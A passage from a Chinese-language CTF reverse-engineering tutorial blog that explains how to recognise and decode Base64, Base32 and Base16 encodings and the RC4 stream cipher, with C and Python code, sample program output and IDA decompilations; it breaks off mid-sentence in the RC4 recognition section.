[ebp-14h]</span><br><span class="line">  int i; // [esp+F4h] [ebp-8h]</span><br><span class="line"></span><br><span class="line">  i = 0;</span><br><span class="line">  j = 0;</span><br><span class="line">  datalength = j__strlen(sourcedata);</span><br><span class="line">  while ( i &lt; datalength )</span><br><span class="line">  &#123;</span><br><span class="line">    base64[j] = base64char[((signed int)(unsigned __int8)sourcedata[i] &gt;&gt; 2) &amp; 0x3F]; # 右移</span><br><span class="line">    ja = j + 1;</span><br><span class="line">    trans_index = 16 * sourcedata[i] &amp; 0x30;</span><br><span class="line">    if ( i + 1 &gt;= datalength )</span><br><span class="line">    &#123;</span><br><span class="line">      base64[ja] = base64char[trans_index];</span><br><span class="line">      v2 = ja + 1;</span><br><span class="line">      base64[v2++] = padding_char;</span><br><span class="line">      base64[v2] = padding_char;</span><br><span class="line">      j = v2 + 1;</span><br><span class="line">      break;</span><br><span class="line">    &#125;</span><br><span class="line">    base64[ja] = base64char[((signed int)(unsigned __int8)sourcedata[i + 1] &gt;&gt; 4) &amp; 0xF | trans_index]; # 右移</span><br><span class="line">    jb = ja + 1;</span><br><span class="line">    trans_indexa = 4 * sourcedata[i + 1] &amp; 0x3C;</span><br><span class="line">    if ( i + 2 &gt;= datalength )</span><br><span class="line">    &#123;</span><br><span class="line">      base64[jb] = base64char[trans_indexa];</span><br><span class="line">      v4 = jb + 1;</span><br><span class="line">      base64[v4] = padding_char;</span><br><span class="line">      j = v4 + 1;</span><br><span class="line">      break;</span><br><span class="line">    &#125;</span><br><span class="line">    base64[jb] = base64char[((signed int)(unsigned __int8)sourcedata[i + 2] &gt;&gt; 6) &amp; 3 | trans_indexa]; # 右移</span><br><span class="line">    v3 = jb + 1;</span><br><span class="line">    base64[v3] = base64char[sourcedata[i + 2] &amp; 0x3F];</span><br><span class="line">    j = v3 + 1;</span><br><span class="line">    i += 3;</span><br><span class="line">  &#125;</span><br><span class="line">  base64[j] = 0;</span><br><span class="line">  return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="辨别"><a href="#辨别" class="headerlink" title="辨别"></a>辨别</h3><p>其实辨别很简单，有很多的方法，最简单的方法就是动态调试，直接用OD或者IDA动态调试，多输入几组数据，观察加密后的字符串，存在<code>=</code>这种字符串多半都有base64加密。 如果不能动态调试那就用IDA静态观察，观察索引表，观察对输入的操作，比如上面很明显的三次右移操作。</p><h3 id="解密"><a href="#解密" class="headerlink" title="解密"></a>解密</h3><p>一般解密用python来实现</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line">s = <span class="string">'key'</span> <span class="comment"># 要加密的字符串</span></span><br><span class="line">a = base64.b64encode(s) <span class="comment"># 加密</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> a</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> base64.b64decode(a) <span class="comment"># 解密</span></span><br></pre></td></tr></table></figure><p>在线解密网站 : <a href="https://www.qqxiuzi.cn/bianma/base.php" target="_blank" rel="noopener">https://www.qqxiuzi.cn/bianma/base.php</a></p><h3 id="CTF参考例题"><a href="#CTF参考例题" class="headerlink" title="CTF参考例题"></a>CTF参考例题</h3><p>DDCTF2019 Reverse2</p><h2 id="0x02：Base32"><a href="#0x02：Base32" class="headerlink" title="0x02：Base32"></a>0x02：Base32</h2><h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><p>Base32编码是使用32个可打印字符（字母A-Z和数字2-7）对任意字节数据进行编码的方案，编码后的字符串不用区分大小写并排除了容易混淆的字符，可以方便地由人类使用并由计算机处理。</p><table><thead><tr><th>值</th><th>符号</th><th></th><th>值</th><th>符号</th><th></th><th>值</th><th>符号</th><th></th><th>值</th><th>符号</th></tr></thead><tbody><tr><td>0</td><td>A</td><td>8</td><td>I</td><td>16</td><td>Q</td><td>24</td><td>Y</td><td></td><td></td><td></td></tr><tr><td>1</td><td>B</td><td>9</td><td>J</td><td>17</td><td>R</td><td>25</td><td>Z</td><td></td><td></td><td></td></tr><tr><td>2</td><td>C</td><td>10</td><td>K</td><td>18</td><td>S</td><td>26</td><td>2</td><td></td><td></td><td></td></tr><tr><td>3</td><td>D</td><td>11</td><td>L</td><td>19</td><td>T</td><td>27</td><td>3</td><td></td><td></td><td></td></tr><tr><td>4</td><td>E</td><td>12</td><td>M</td><td>20</td><td>U</td><td>28</td><td>4</td><td></td><td></td><td></td></tr><tr><td>5</td><td>F</td><td>13</td><td>N</td><td>21</td><td>V</td><td>29</td><td>5</td><td></td><td></td><td></td></tr><tr><td>6</td><td>G</td><td>14</td><td>O</td><td>22</td><td>W</td><td>30</td><td>6</td><td></td><td></td><td></td></tr><tr><td>7</td><td>H</td><td>15</td><td>P</td><td>23</td><td>X</td><td>31</td><td>7</td><td></td><td></td><td></td></tr><tr><td><em>填充</em></td><td>=</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr></tbody></table><p>Base32将任意字符串按照字节进行切分，并将每个字节对应的二进制值（不足8比特高位补0）串联起来，按照5比特一组进行切分，并将每组二进制值转换成十进制来对应32个可打印字符中的一个。</p><p>由于数据的二进制传输是按照8比特一组进行（即一个字节），因此Base32按5比特切分的二进制数据必须是40比特的倍数（5和8的最小公倍数）。例如输入单字节字符“%”，它对应的二进制值是“100101”，前面补两个0变成“00100101”（二进制值不足8比特的都要在高位加0直到8比特），从左侧开始按照5比特切分成两组：“00100”和“101”，后一组不足5比特，则在末尾填充0直到5比特，变成“00100”和“10100”，这两组二进制数分别转换成十进制数，通过上述表格即可找到其对应的可打印字符“E”和“U”，但是这里只用到两组共10比特，还差30比特达到40比特，按照5比特一组还需6组，则在末尾填充6个“=”。填充“=”符号的作用是方便一些程序的标准化运行，大多数情况下不添加也无关紧要，而且，在URL中使用时必须去掉“=”符号。</p><p>与Base64相比，Base32具有许多优点：</p><ul><li>适合不区分大小写的文件系统，更利于人类口语交流或记忆。</li><li>结果可以用作文件名，因为它不包含路径分隔符 “/”等符号。</li><li>排除了视觉上容易混淆的字符，因此可以准确的人工录入。（例如，RFC4648符号集忽略了数字“1”、“8”和“0”，因为它们可能与字母“I”，“B”和“O”混淆）。</li><li>排除填充符号“=”的结果可以包含在URL中，而不编码任何字符。</li></ul><p>Base32也比Base16有优势：</p><ul><li>Base32比Base16占用的空间更小。（1000比特数据Base32需要200个字符，而Base16则为250个字符）</li></ul><p>Base32的缺点：</p><ul><li>Base32比Base64多占用大约20％的空间。因为Base32使用8个ASCII字符去编码原数据中的5个字节数据，而Base64是使用4个ASCII字符去编码原数据中的3个字节数据。</li></ul><h3 id="解密-1"><a href="#解密-1" class="headerlink" title="解密"></a>解密</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line">s = <span class="string">'key'</span> <span class="comment"># 要加密的字符串</span></span><br><span class="line">a = base64.b32encode(s) <span class="comment"># 加密</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> a</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> base64.b32decode(a) <span class="comment"># 解密</span></span><br></pre></td></tr></table></figure><p>在线网站 : <a href="https://www.qqxiuzi.cn/bianma/base.php" target="_blank" rel="noopener">https://www.qqxiuzi.cn/bianma/base.php</a></p><h3 id="CTF参考例题-1"><a href="#CTF参考例题-1" class="headerlink" title="CTF参考例题"></a>CTF参考例题</h3><p>2017第二届广东省强网杯线上赛 Nonstandard</p><h2 id="0x03：Base16"><a href="#0x03：Base16" class="headerlink" title="0x03：Base16"></a>0x03：Base16</h2><h3 id="原理-1"><a href="#原理-1" class="headerlink" title="原理"></a>原理</h3><p>Base16编码使用16个ASCII可打印字符（数字0-9和字母A-F）对任意字节数据进行编码。Base16先获取输入字符串每个字节的二进制值（不足8比特在高位补0），然后将其串联进来，再按照4比特一组进行切分，将每组二进制数分别转换成十进制，在下述表格中找到对应的编码串接起来就是Base16编码。可以看到8比特数据按照4比特切分刚好是两组，所以Base16不可能用到填充符号“=”。</p><p>Base16编码后的数据量是原数据的两倍：1000比特数据需要250个字符（即 250*8=2000 比特）。换句话说：Base16使用两个ASCII字符去编码原数据中的一个字节数据。</p><table><thead><tr><th>值</th><th>编码</th><th>值</th><th>编码</th></tr></thead><tbody><tr><td>0</td><td>0</td><td>8</td><td>8</td></tr><tr><td>1</td><td>1</td><td>9</td><td>9</td></tr><tr><td>2</td><td>2</td><td>10</td><td>A</td></tr><tr><td>3</td><td>3</td><td>11</td><td>B</td></tr><tr><td>4</td><td>4</td><td>12</td><td>C</td></tr><tr><td>5</td><td>5</td><td>13</td><td>D</td></tr><tr><td>6</td><td>6</td><td>14</td><td>E</td></tr><tr><td>7</td><td>7</td><td>15</td><td>F</td></tr></tbody></table><p>Base16编码是一个标准的十六进制字符串（注意是字符串而不是数值），更易被人类和计算机使用，因为它并不包含任何控制字符，以及Base64和Base32中的“=”符号。输入的非ASCII字符，使用UTF-8字符集。</p><h3 id="解密-2"><a href="#解密-2" class="headerlink" title="解密"></a>解密</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line">s = <span class="string">'key'</span> <span class="comment"># 要加密的字符串</span></span><br><span class="line">a = base64.b16encode(s) <span class="comment"># 加密</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> a</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> base64.b16decode(a) <span class="comment"># 解密</span></span><br></pre></td></tr></table></figure><p>在线网站 : <a href="https://www.qqxiuzi.cn/bianma/base.php" target="_blank" rel="noopener">https://www.qqxiuzi.cn/bianma/base.php</a></p><h1 id="0x02：RC4"><a href="#0x02：RC4" class="headerlink" title="0x02：RC4"></a>0x02：RC4</h1><h2 id="原理-2"><a href="#原理-2" class="headerlink" title="原理"></a>原理</h2><p>在密码学中，<strong>RC4</strong>（来自Rivest Cipher 4的缩写）是一种流加密算法，密钥长度可变。它加解密使用相同的密钥，因此也属于对称加密算法。RC4是有线等效加密（WEP）中采用的加密算法，也曾经是TLS可采用的算法之一。</p><h2 id="加密过程-1"><a href="#加密过程-1" class="headerlink" title="加密过程"></a>加密过程</h2><table><thead><tr><th>参数</th><th>作用</th></tr></thead><tbody><tr><td>S-box(S)</td><td>256长度的char型数组，定义为: unsigned char sBox[256]</td></tr><tr><td>Key(K)</td><td>自定义的密钥，用来打乱 S-box</td></tr><tr><td>pData</td><td>用来加密的数据</td></tr></tbody></table><ol><li><p>初始化 S (256字节的char型数组)，key 是我们自定义的密钥，用来打乱 S ，i 确保 S-box 的每个元素都得到处理， j 保证 S-box 的搅乱是随机的</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*初始化函数*/</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">rc4_init</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">char</span>*s, <span class="keyword">unsigned</span> <span class="keyword">char</span>*key, <span class="keyword">unsigned</span> <span class="keyword">long</span> Len)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">int</span> i = <span class="number">0</span>, j = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">char</span> k[<span class="number">256</span>] = &#123; <span class="number">0</span> &#125;;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> tmp = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">256</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line">s[i] = i; <span class="comment">// 赋值 S</span></span><br><span class="line">k[i] = key[i%Len]; <span class="comment">// 赋值 K </span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">256</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line">j = (j + s[i] + k[i]) % <span class="number">256</span>; <span class="comment">// 开始混淆</span></span><br><span class="line">tmp = s[i]; </span><br><span class="line">s[i] = s[j]; <span class="comment">// 交换s[i]和s[j]</span></span><br><span class="line">s[j] = tmp;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li><p>加密过程将 S-box 和明文进行 xor 运算，得到密文，解密过程也完全相同</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*加解密*/</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">rc4_crypt</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">char</span>*s, <span class="keyword">unsigned</span> <span class="keyword">char</span>*Data, <span class="keyword">unsigned</span> <span class="keyword">long</span> Len)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">int</span> i = <span class="number">0</span>, j = <span class="number">0</span>, t = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">long</span> k = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> tmp;</span><br><span class="line"><span class="keyword">for</span> (k = <span class="number">0</span>; k &lt; Len; k++)</span><br><span class="line">&#123;</span><br><span class="line">i = (i + <span class="number">1</span>) % <span class="number">256</span>;</span><br><span class="line">j = (j + s[i]) % <span class="number">256</span>;</span><br><span class="line">tmp = s[i];</span><br><span class="line">s[i] = s[j]; <span class="comment">// 交换s[x]和s[y]</span></span><br><span class="line">s[j] = tmp;</span><br><span class="line">t = (s[i] + s[j]) % <span class="number">256</span>;</span><br><span class="line">Data[k] ^= s[t];</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ol><h2 id="实现-1"><a href="#实现-1" class="headerlink" title="实现"></a>实现</h2><p>下面是 C 实现的代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">unsigned</span> longULONG;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*初始化函数*/</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">rc4_init</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">char</span>*s, <span class="keyword">unsigned</span> <span class="keyword">char</span>*key, <span class="keyword">unsigned</span> <span class="keyword">long</span> Len)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">int</span> i = <span class="number">0</span>, j = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">char</span> k[<span class="number">256</span>] = &#123; <span class="number">0</span> &#125;;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> tmp = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">256</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line">s[i] = i;</span><br><span class="line">k[i] = key[i%Len];</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">256</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line">j = (j + s[i] + k[i]) % <span class="number">256</span>;</span><br><span class="line">tmp = s[i];</span><br><span class="line">s[i] = s[j]; <span class="comment">// 交换s[i]和s[j]</span></span><br><span class="line">s[j] = tmp;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*加解密*/</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">rc4_crypt</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">char</span>*s, <span class="keyword">unsigned</span> <span class="keyword">char</span>*Data, <span class="keyword">unsigned</span> <span class="keyword">long</span> Len)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">int</span> i = <span class="number">0</span>, j = <span class="number">0</span>, t = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">long</span> k = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> tmp;</span><br><span class="line"><span class="keyword">for</span> (k = <span class="number">0</span>; k &lt; Len; k++)</span><br><span class="line">&#123;</span><br><span class="line">i = (i + <span class="number">1</span>) % <span class="number">256</span>;</span><br><span class="line">j = (j + s[i]) % <span class="number">256</span>;</span><br><span class="line">tmp = s[i];</span><br><span class="line">s[i] = s[j]; <span class="comment">// 交换s[x]和s[y]</span></span><br><span class="line">s[j] = tmp;</span><br><span class="line">t = (s[i] + s[j]) % <span class="number">256</span>;</span><br><span class="line">Data[k] ^= s[t];</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> s[<span class="number">256</span>] = &#123; <span class="number">0</span> &#125;, s2[<span class="number">256</span>] = &#123; <span class="number">0</span> &#125;; <span class="comment">// S-box</span></span><br><span class="line"><span class="keyword">char</span> key[<span class="number">256</span>] = &#123; <span class="string">"justfortest"</span> &#125;;</span><br><span class="line"><span class="keyword">char</span> pData[<span class="number">512</span>] = <span class="string">"这是一个用来加密的数据Data"</span>;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">long</span> len = <span class="built_in">strlen</span>(pData);</span><br><span class="line"><span class="keyword">int</span> i;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"pData=%s\n"</span>, pData);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"key=%s,length=%d\n\n"</span>, key, <span class="built_in">strlen</span>(key));</span><br><span class="line">rc4_init(s, (<span class="keyword">unsigned</span> <span class="keyword">char</span>*)key, <span class="built_in">strlen</span>(key)); <span class="comment">// 已经完成了初始化</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"完成对S[i]的初始化，如下：\n\n"</span>);</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">256</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%02X"</span>, s[i]);</span><br><span class="line"><span class="keyword">if</span> (i &amp;&amp; (i + <span class="number">1</span>) % <span class="number">16</span> == <span class="number">0</span>)<span class="built_in">putchar</span>(<span class="string">'\n'</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"\n\n"</span>);</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">256</span>; i++) <span class="comment">// 用s2[i]暂时保留经过初始化的s[i]，很重要的！！！</span></span><br><span class="line">&#123;</span><br><span class="line">s2[i] = s[i];</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"已经初始化，现在加密:\n\n"</span>);</span><br><span class="line">rc4_crypt(s, (<span class="keyword">unsigned</span> <span class="keyword">char</span>*)pData, len); <span class="comment">// 加密</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"pData=%s\n\n"</span>, pData);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"已经加密，现在解密:\n\n"</span>);</span><br><span class="line">rc4_crypt(s2, (<span class="keyword">unsigned</span> <span class="keyword">char</span>*)pData, len); <span class="comment">// 解密</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"pData=%s\n\n"</span>, pData);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行结果如下</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\thunder&gt;<span class="string">"D:\AlgorithmTest.exe"</span></span><br><span class="line">pData=这是一个用来加密的数据Data</span><br><span class="line">key=justfortest,length=11</span><br><span class="line"></span><br><span class="line">完成对S[i]的初始化，如下：</span><br><span class="line"></span><br><span class="line">21E0944A8CAA5C851A95374358840E32</span><br><span class="line">EE3AF7C8F67F898BFF52235F3B51CAE6</span><br><span class="line">31E2A570C698C046CE836EB91EBC9235</span><br><span class="line">FD6B1CB62C2D69B565631B933EA60762</span><br><span class="line">13EAE7775BA159DD745491C181B7FB49</span><br><span class="line">66037D2E47331538F8A820AE22D2345A</span><br><span class="line">64FA3F87714DFCBF2490D32ADF9EB85E</span><br><span class="line">0A2780E40CAD1497E3D8C7F2F4424176</span><br><span class="line">DC8D45A9789DE1B0D9044F0F36C3C5BE</span><br><span class="line">4C7AEB6C4B8640E59A7919B39BABAFE8</span><br><span class="line">C4AC8EFE963CEDEF0B091202BAB1D001</span><br><span class="line">CB60D4F91D557BCC7544D750F17E67C9</span><br><span class="line">88DB111826F0B299B4BB482BA41FF58A</span><br><span class="line">C2E9A0CF5DDA6FCD57003D0830A2A316</span><br><span class="line">9F0D6AF36D682F8FBD28A7DE4ED15373</span><br><span class="line">7C2956D51706058225EC617210399CD6</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">已经初始化，现在加密:</span><br><span class="line"></span><br><span class="line">pData=?獤       5Ws?g&amp;W鋟覈?T?</span><br><span class="line"></span><br><span class="line">已经加密，现在解密:</span><br><span class="line"></span><br><span class="line">pData=这是一个用来加密的数据Data</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">C:\Users\thunder&gt;</span><br></pre></td></tr></table></figure><p>上面的代码是rc4加密字符串<code>这是一个用来加密的数据Data</code>，key = <code>justfortest</code>，我们放入IDA观察，初始化函数如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span> __<span class="function">cdecl <span class="title">rc4_init</span><span class="params">(<span class="keyword">char</span> *s, <span class="keyword">char</span> *key, <span class="keyword">unsigned</span> <span class="keyword">int</span> Len)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> tmp; <span class="comment">// STDF_1</span></span><br><span class="line">  <span class="keyword">char</span> k[<span class="number">256</span>]; <span class="comment">// [esp+DCh] [ebp-120h]</span></span><br><span class="line">  <span class="keyword">int</span> j; <span class="comment">// [esp+1E4h] [ebp-18h]</span></span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// [esp+1F0h] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  j = <span class="number">0</span>;</span><br><span class="line">  k[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">  j__memset(&amp;k[<span class="number">1</span>], <span class="number">0</span>, <span class="number">0xFF</span>u);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt; <span class="number">256</span>; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    s[i] = i;</span><br><span class="line">    k[i] = key[i % Len];</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt; <span class="number">256</span>; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    j = (k[i] + j + (<span class="keyword">unsigned</span> __int8)s[i]) % <span class="number">256</span>;</span><br><span class="line">    tmp = s[i];</span><br><span class="line">    s[i] = s[j];</span><br><span class="line">    s[j] = tmp;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>加密函数如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span> __<span class="function">cdecl <span class="title">rc4_crypt</span><span class="params">(<span class="keyword">char</span> *s, <span class="keyword">char</span> *Data, <span class="keyword">unsigned</span> <span class="keyword">int</span> Len)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> tmp; <span class="comment">// STD3_1</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> k; <span class="comment">// [esp+DCh] [ebp-2Ch]</span></span><br><span class="line">  <span class="keyword">int</span> j; <span class="comment">// [esp+F4h] [ebp-14h]</span></span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// [esp+100h] [ebp-8h]</span></span><br><span class="line"></span><br><span class="line">  i = <span class="number">0</span>;</span><br><span class="line">  j = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">for</span> ( k = <span class="number">0</span>; k &lt; Len; ++k )</span><br><span class="line">  &#123;</span><br><span class="line">    i = (i + <span class="number">1</span>) % <span class="number">256</span>;</span><br><span class="line">    j = (j + (<span class="keyword">unsigned</span> __int8)s[i]) % <span class="number">256</span>;</span><br><span class="line">    tmp = s[i];</span><br><span class="line">    s[i] = s[j];</span><br><span class="line">    s[j] = tmp;</span><br><span class="line">    Data[k] ^= s[((<span class="keyword">unsigned</span> __int8)s[j] + (<span class="keyword">unsigned</span> __int8)s[i]) % <span class="number">256</span>];</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="辨别-1"><a href="#辨别-1" class="headerlink" title="辨别"></a>辨别</h2><p>从IDA中可以看到有很多的 %256 